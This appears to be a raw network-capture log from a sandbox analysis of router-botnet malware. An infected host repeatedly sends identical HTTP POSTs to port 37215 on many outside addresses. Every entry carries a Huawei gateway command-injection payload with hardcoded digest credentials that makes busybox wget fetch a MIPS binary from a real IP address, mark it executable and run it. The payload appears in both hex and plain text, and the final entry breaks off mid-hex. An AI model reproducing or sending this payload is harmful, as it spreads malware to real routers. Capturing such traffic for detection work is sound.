Jun 10, 2024 15:38:03.669423103 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1081	192.168.2.13	48706	41.47.85.37	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.672777891 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1082	192.168.2.13	41616	41.232.166.9	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.676304102 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1083	192.168.2.13	45650	41.25.255.177	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.680020094 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1084	192.168.2.13	35528	41.169.85.142	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.683582067 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1085	192.168.2.13	47264	156.97.237.140	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.686953068 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1086	192.168.2.13	56998	197.164.26.232	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.691395998 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1087	192.168.2.13	55182	197.100.229.47	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.695947886 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1088	192.168.2.13	35384	197.48.91.98	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.699145079 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1089	192.168.2.13	37322	41.188.151.242	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.703074932 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1090	192.168.2.13	56760	41.86.44.93	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.706065893 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 